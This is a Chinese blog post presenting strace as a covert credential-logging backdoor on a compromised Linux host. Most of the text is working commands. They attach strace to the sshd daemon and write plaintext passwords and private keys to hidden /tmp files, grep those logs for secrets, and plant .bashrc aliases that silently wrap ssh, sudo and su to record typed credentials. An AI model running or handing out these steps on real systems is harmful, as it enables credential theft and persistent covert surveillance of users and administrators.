websec80

  博客园  :: 首页  :: 新随笔  :: 联系 ::  :: 管理
  97 随笔 :: 50 文章 :: 3 评论 :: 14万 阅读

strace是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

使用场景

通过其他方式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。我们想要获取当前主机的密码,或者通过这台主机连接到其他主机的密码。

 

安装   apt-get  install  strace

记录sshd进程明文密码

执行如下命令

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)、

图片

当用户通过密码登录时,使用如下命令查看记录的密码

grep -E 'read\(6".+\\0\\0\\0\\.+"/tmp/.sshd.log

图片

 

记录sshd私钥

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

当用户通过私钥登录时,使用如下命令查看记录的私钥

grep 'PRIVATE KEY' /tmp/.sshd.log

 

 

记录ssh的登录凭证

我们还可以记录本机执行ssh、su等命令,这里以ssh为例

  1. 修改alias

# 添加命令
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 立即生效
source ~/.bashrc

 

图片

 

  1. 执行 ssh 10.xx.xx.148 -l mysql

图片

会在 /tmp/ 目录下多个log

图片

读取log中记录的密码 

grep -A 9 'password' .ssh-202月021613809979.log

图片

记录sudo、su的alias

alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
posted on   websec80  阅读(320)  评论(0编辑  收藏  举报
编辑推荐:
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
点击右上角即可分享
微信分享提示